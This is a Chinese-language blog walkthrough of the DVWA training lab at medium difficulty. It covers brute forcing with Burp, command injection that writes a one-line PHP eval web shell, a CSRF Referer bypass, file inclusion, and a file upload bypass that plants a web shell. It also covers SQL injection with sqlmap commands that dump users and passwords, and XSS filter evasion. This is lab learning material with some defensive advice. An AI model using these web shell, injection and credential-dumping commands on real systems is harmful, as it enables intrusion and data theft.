DVWA靶场-中级难度

1.第一关,暴力破解

我们可以看到一个账号密码框,没有验证码校验,随便输入一个账号密码,显示账号或者密码并不正确,那两项都需要爆破,有些登录框拆解到正确的账号时会直接提示密码并不正确,这样就可以分开来进行爆破,难度小得多,现在需要username和password两个一起用字典爆破,直接进行暴力破解即可

 这里我们使用burp的暴力破解模块,随便填写一个账号密码,然后发送请求通过burp代理拦截,这里我们可以看到我们填写的账号密码明文

 将请求发送到intruder模块,然后选中我们需要暴力破解的字段

 选择完成后我们进入到有效载荷,添加我们的账号,密码爆破的字典

 

 选择完成后点击右上角的开始攻击按钮,即可开始爆破,爆破完成后以长度进行排序,可以看到有一组数据的长度明显是不同的,说明这组数据服务器给出的响应是不一样的,那么很有可能就是正确的账号密码。

 输入刚才那组账号密码,果然是正确的,账号为admin,密码为password。就是我们的登录账号密码

2.命令注入

这个地方的正常功能应该是用来测试网络连通性能的,我们随便输入一个ip地址,有正常的输出结果

 

但是这个地方没有对用户的输入做严格校验,我们可以输入除了ip地址以外的其他字符,这样我们就可以通过管道符让后台除了正常执行ping命令外,还额外执行我们给出的其他命令,比如我们这个地方还可以执行ipconfig等命令,也一样将我们的命令结果回显出来了

 windows系统获取目录

获取到目录之后我们还可以写入文件将代码注入到其中,这里尝试一下

使用命令:127.0.0.1 | echo "<?php @eval($_POST['dvwa']); ?>" >> "D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\exec\muma.php"将一个木马写入到刚才获取到的目录下。

 然后使用蚁剑连接我们的木马

编辑连接信息

 

连接成功,进入后台

 

 3.CSRF:Cross Site Request Forgery(跨站请求伪造)

跨站请求伪造是利用用户在A网站上的认证信息如cookie,token等,在用户不知情的情况下诱导客户点击黑客伪造的虚假请求从而利用服务器对客户端的信任在客户不知情的情况下修改用户在A网站上的相关信息。

我们先发送一个修改密码的请求看看,可以看到我们修改的密码和原始的密码,以及整个请求的构成

 这里主要是校验了请求中的referer字段,所以我们构造请求的时候需要将拦截请求中的referer字段给手动加上去才能成功修改密码,如果是low级别直接使用burp自带的csrf poc即可。

先抓个包复制一下请求

 将请求直接放入浏览器中进行请求修改密码是不行的,需要先使用bp拦截,再手动将referer字段给添加进去,我们现在请求是没有referer字段的

自己在请求头中加入referer,然后放包

显示密码修改成功,对于重要的请求,如修改密码之类,应该对请求的信息进行加密,使黑客即使拦截到请求信息也无法正确的构造对应的请求。

4.文件包含,url中将某个文件设置为了参数变量却没对该参数加以限制,导致用户可以将变量修改为预期意外的文件,导致信息泄露

文件包含的前提是需要开启php的allow_url_include,否则会出现下图的报错

 我是用的phpstudy,直接在面板中找到对应php版本的配置文件,点击打开,找到allow_url_include的配置选项将其修改为On即可,然后再重启apache,刷新DVWA页面即可。

 在页面中我们可以看到,url链接中包含了一个.php的文件名,我们将该文件名重新修改一下,这里使用绝对路径,如下图,可以看到,网页上已经正常显示了该包含文件中的内容

5.文件上传

文件上传漏洞是利用了网页中给用户提供的上传功能,但是对上传文件前端和后端没有做好限制,导致黑客上传木马文件来get shell

这里我们先直接上传一个php文件看看是否能够直接上传

这里报错了,我们可以看到只能上传文件后缀为jpeg或者png的图片

不太清楚这里是否只是前端做了限制,这里我们可以试试将我们的php木马文件修改问png的后缀,上传时通过burp代理再把文件后缀给改回来,看看能否绕过

 这是我们发送的请求,在burp这里我们再将文件后缀修改回php,然后放包

这个时候我们可以看到已经将我们的php文件成功上传了,并且显示了路径 

我们用蚁剑尝试连接我们的木马,写好连接地址和连接密码

 连接成功,我们已经成功进入后台了

 *:针对文件上传,我们可以做白名单限制上传的文件类型,上传后不要回显上传地址,或者后端将上传后的文件重新命名,再存储到其他不会被解析的文件夹中,只要文件上传后黑客无法找到文件或者该文件无法被解析就没办法利用

6.不安全验证,这关打不开,好像缺少个啥东西

7.sql注入

这里点击1,2,3,查询出对应编号的名字信息,观察了一下url没有对应的参数信息,整个界面也没有其他的可以跟参数关联起来的信息,暂时没有发现注入的点,这个时候我们抓包看一下。

这里我们看到了id=1,看来参数是通过post信息传递的,将请求发送到repeater模块,通过修改id参数测试一下是否存在sql注入漏洞,这里可能是字符型或者数字型,我们先测试简单的数字型,直接在参数后面加判断条件

 

可以看到判断条件1=1成立时正常将id字段回显,当判断条件1=2不成立时没有回显,这里可以判断时存在sql注入漏洞的,并且是一个数字型,接下来我们使用order by来判断字段数

 

order by2时正常回显,order by3时出现错误,可以知道字段数为2

 接下来使用union联合查询注入来判断回显的地方,可以看到1,2都正常回显,那么接下来就可以注入获取数据库信息了,我们简单获取下数据库名称

可以看到我们成功获取到了数据库名称:dvwa

接下来我们使用sqlmap工具来进行注入

由于是post请求,我们先将post数据复制下来,新建一个POST.txt的文件,可以在优先级较高的参数后面加上*号 

 

接下来使用命令:python sqlmap.py -r "D:\POST.txt" --dbs 开始注入获取数据库,以下是结果,可以看到获取到了5个数据库,

 我们来获取数据库dvwa中的表看看

命令:python sqlmap.py -r "D:\POST.txt" -D dvwa --tables

获取表中的字段名

命令:python sqlmap.py -r "D:\POST.txt" -D dvwa -T users --columns

获取字段内容,这里我们选择获取user字段的内容

命令:python sqlmap.py -r "D:\POST.txt" -D dvwa -T users -C user --dump

 

还可以获取数据库中的用户

命令:python sqlmap.py -r "D:\POST.txt" --users

获取数据库用户的密码

命令:python sqlmap.py -r "D:\POST.txt" --passwords

获取当前网站的数据库名称

命令: python sqlmap.py -r "D:\POST.txt" --current-db

 

8.sql注入(盲注)

盲注是通过页面给出的不同反应来确认我们注入的sql语句判断条件是否正确,盲注分为布尔盲注和时间盲注,这里我们使用布尔盲注来测试。布尔盲注是基于回显不同,如果没有回显信息可以考虑使用时间盲注试试。

 抓包来看同样的信息,我们简单的使用1=1和1=2来看看什么效果

 可以看到,当左边的条件成立时,网页回显user id已经存在,当左边注入的判断条件不成立时网页回显user id 不存在。那么只要网页上回显user id存在时就证明我们输入的sql语句判断条件是正确的,根据这个理论我们就可以进行注入,我们可以测试下判断数据库名称长度

 我们使用length判断长度,当我们的判断条件为数据库名称长度为3时,网页显示id不存在,当我们判断数据库名称长度为4时,显示结果为id存在,那么我们就可以知道数据库长度为4,知道了数据库名称长度,后面我们就可以尝试获取数据库名称了。同样使用判断语句从字母a-z挨个判断数据库名称中的每个字母即可。

同样我们使用工具来试试看

将获取到的请求保存下来

 使用命令获取数据库

 后续步骤如之前介绍的使用方法即可。

9.弱会话id

10.XSS(Dom)

XSS是跨站脚本攻击,通过闭合前端html标签等方式从而是页面执行黑客的恶意js代码,XSS攻击分为DOM型,反射型和存储型

我们先打开F12看看页面元素

我们如果要执行我们的js代码那么需要闭合前面的select和option标签,中间通过#号对url进行隔断

 

 11.XSS(反射型)

这里直接使用<script>alert('XSS')</script>是不行的,这里我们将script中的某些字母替换成大写的绕过,xss的绕过方式有大小写绕过,编码绕过,主动闭合标签实现代码注入

 12.xss(存储型)

这边对message写入js会被转义<script>标签会被去掉,然后尝试在name中写入js代码发现name对长度有限制,没办法完整的写入

 这边只能通过抓包修改name信息,发现script标签会被过滤,然后使用大小写绕过

 成功写入,并且每次刷新网页都会弹出该弹框

        DVWA中级就到这里啦,练习靶场有利于我们对漏洞原理的了解,有问题留言就好,希望大家一起交流学习网络安全。

 

 

 

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值